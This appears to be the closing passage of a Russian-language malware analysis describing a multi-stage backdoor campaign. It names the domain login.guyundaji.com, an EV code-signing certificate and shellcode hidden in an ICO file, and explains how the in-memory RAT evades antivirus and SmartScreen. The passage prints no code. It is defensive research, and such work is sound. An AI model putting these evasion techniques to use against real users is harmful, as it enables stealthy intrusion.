Сам бэкдор скомпилирован в 2022 году, и его поведение уже описано в открытых источниках. Механизм получения нагрузки через токен GETGOD упоминается в публикации Kaspersky. На Hybrid Analysis есть другой образец, который ходит на тот же IP. То есть Stage 3 и Stage 2 так или иначе уже светились - исследователи их видели.

Новым и по-настоящему опасным является другое. На момент анализа VirusTotal не знал ни первоначальный файл, ни ICO с шеллкодом. Домен login.guyundaji.com нигде не засветился. Китайская компания Beijing Guyundaji Trading Co., Ltd с EV-сертификатом от Certum - тоже впервые. Именно это сочетание и делает атаку практически невидимой: известный бэкдор доставляется через полностью чистую, нигде не упоминавшуюся инфраструктуру с легитимной подписью кода.

Антивирус молчит. SmartScreen молчит. Файл подписан настоящим EV-сертификатом. Пользователь кликает на то, что выглядит как фото из мессенджера - и получает полноценный RAT в памяти, которого даже не существует на диске.